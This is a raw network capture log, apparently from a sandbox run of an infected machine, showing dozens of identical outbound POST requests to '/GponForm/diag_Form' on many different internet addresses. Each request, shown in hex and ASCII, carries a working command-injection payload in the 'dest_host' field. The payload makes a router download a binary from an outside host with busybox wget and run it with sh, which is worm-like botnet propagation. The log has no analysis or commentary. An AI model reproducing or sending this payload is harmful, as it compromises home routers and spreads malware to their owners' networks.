Apr 14, 2024 04:01:06.130968094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1537	192.168.2.13	43128	109.15.190.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130968094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1538	192.168.2.13	33516	212.37.193.227	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130980968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1539	192.168.2.13	38334	5.37.237.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130985975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1540	192.168.2.13	41038	42.161.110.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131017923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1541	192.168.2.13	42166	94.75.1.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131032944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1542	192.168.2.13	39626	212.4.87.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131053925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1543	192.168.2.13	55218	37.152.219.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131089926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1544	192.168.2.13	50640	5.126.234.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131107092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1545	192.168.2.13	46168	118.46.42.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131115913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1546	192.168.2.13	36536	94.150.95.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131143093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1547	192.168.2.13	52368	37.223.71.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131177902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1548	192.168.2.13	47144	123.115.198.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131184101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1549	192.168.2.13	35888	148.233.196.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131206989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1550	192.168.2.13	34240	210.204.255.77	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131236076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1551	192.168.2.13	38074	2.137.228.79	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131242037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1552	192.168.2.13	56318	117.149.96.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131256104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1553	192.168.2.13	35080	94.19.160.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131273985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1554	192.168.2.13	33828	94.10.27.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131305933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1555	192.168.2.13	58020	148.112.27.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131323099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1556	192.168.2.13	38122	148.108.4.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131334066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1557	192.168.2.13	35460	148.66.115.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131351948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1558	192.168.2.13	46476	5.81.176.201	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131367922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1559	192.168.2.13	56840	123.184.24.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131395102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1560	192.168.2.13	34132	148.134.204.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131417036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1561	192.168.2.13	57408	79.133.107.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.131422043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

